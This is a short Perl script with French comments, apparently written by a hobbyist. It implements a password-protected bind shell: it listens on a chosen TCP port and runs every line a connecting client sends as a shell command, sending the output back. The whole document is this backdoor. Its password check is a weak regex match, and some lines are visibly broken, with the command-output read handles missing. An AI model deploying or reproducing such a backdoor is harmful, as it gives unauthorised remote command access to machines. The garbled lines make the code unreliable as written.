#!/usr/bin/perl -w # dav@tuxfamily.org # ATTENTION - Ce script n'est pas parfait :] - use strict; use Getopt::Std; use IO::Socket; use vars qw/$opt_p $opt_P $opt_h/; getopts("p:P:h"); die "Usage:./$0 -p -P \n" if ( $opt_h); # On mets en place le socket my $socket = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $opt_p, Listen => 1, Reuse => 1) or die "Socket:$!"; while( my $client = $socket->accept()) { $client->autoflush(1); print $client "pass: "; my $buf = <$client>; chomp($buf); if( $buf =~ $opt_P ) # Pareil le eq marche pas (cf + bas) { print $client "Ok user allowed\n"; }else { close($client) or die "$!"; } while( chomp($_ = <$client>)) { # Meme quand je chomp la var, le $_ eq 'quit' passe pas dc # j'utilise =~ .. close($client) if ($_ =~ /quit/); # pour tester la presence de la commande je vois pas du tt comment # faire .. open(CMD, "$_ |") or do { print $client "Can't exec() $!\n"; next; }; # le print $client while ( ); marche pas donc j'ai laissé my @B = ; print $client @B; close(CMD) or die "$!"; } }